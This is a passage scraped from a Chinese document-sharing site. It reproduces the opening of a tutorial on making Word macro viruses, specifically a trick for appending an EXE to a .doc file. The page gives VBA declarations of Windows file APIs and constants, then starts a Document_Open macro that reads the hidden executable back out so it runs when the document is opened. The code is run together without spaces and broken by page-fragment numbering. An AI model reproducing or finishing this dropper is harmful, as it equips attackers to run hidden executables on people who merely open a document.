资源描述:
《宏病毒制作参考.docx》由会员上传分享,免费在线阅读,更多相关内容在教育资源-天天文库。
1、-- Word宏病毒制作,传播,防范EXE变DOC的方法其实这种转换并不是文件格式上的变化,只不过是把一个exe文件接在一个doc文件的末尾而已,这个doc文件当然就不是不同word的文档啦,该文档中包含了宏语句,能在运行的时候把接在自己文件末尾的exe文件数据读取出来并运行,就造成一种假象,好象文档打开时就运行了exe文件似的.(和文件捆绑器的原理很象啊!) 熟悉vb的朋友都知道,word的宏是使用vba来编写的,具体语法和vb一样,但有些方法vb中没有,如宏病毒就是利用宏复制语句来达到感染的目的.和vb一样,我
2、们可以在编写宏的时候调用windowsapi!!下面我们来介绍一下我们编写这个宏需要用到的api函数: 1)createfile用于打开文件,该函数vb的声明如下:declarefunctioncreatefilelib"kernel32"alias"createfilea"(byvallpfilenameasstring,byvaldwdesiredaccessaslong,byvaldwsharemodeaslong,byvallpsecurityattributesaslong,byvaldwcreation
3、distributionaslong,byvaldwflagsandattributesaslong,byvalhtemplateaslong)aslong2)closehandle用于关闭被打开文件的句柄,该函数vb的声明如下:declarefunctionclosehandlelib"kernel32"(byvalhobjectaslong)aslong3)readfile用于从被打开文件中读取数据,该函数vb的声明如下:declarefunctionreadfilelib"kernel32"(byvalhfil
4、easlong,lpbufferasbyte,byvaldwnumberofbytestoreadaslong,lpnumberofbytesreadaslong,byvallpoverlappedaslong)aslong4)writefile用于把读取出的数据写入文件,该函数vb的声明如下:declarefunctionwritefilelib"kernel32"(byvalhfileaslong,lpbufferasbyte,byvaldwnumberofbytestowriteaslong,lpnumbero
5、fbyteswrittenaslong,byvallpoverlappedaslong)aslong5)setfileponiter移动文件指针,该函数vb的声明如下:declarefunctionsetfilepointerlib"kernel32"(byvalhfileaslong,byvalldistancetomoveaslong,byvallpdistancetomovehighaslong,byvaldwmovemethodaslong)aslong6)下面是以上函数的参数声明publicconstgen
6、eric_readaslong=&h80000000publicconstgeneric_writeaslong=&h40000000publicconstfile_share_readaslong=1publicconstfile_share_writeaslong=2publicconstcreate_newaslong=1publicconstcreate_alwaysaslong=2publicconstopen_existingaslong=3publicconstopen_alwaysaslong=4pu
7、blicconsttruncate_existingaslong=5publicconstinvalid_handle_valueaslong=-1publicconstfile_attribute_normalaslong=&h80好了,有了这些准备工作就可以开始了,我们运行word2000,打开visualbasic编辑器,新建一个模块,把上面的函数和参数声明拷进去!再回到“thisdocument.的代码视图,选择document.nbspopen的事件,输入一下代码:privatesubdocument.op
8、en()dimbuffer(65536)asbytedimh,h2,j,i,kaslongh=createfile(thisdocument.path&"/"&thisdocument.name,generic_read,file_share_read+file_share_write,0,open_existing,0,0)‘以share_r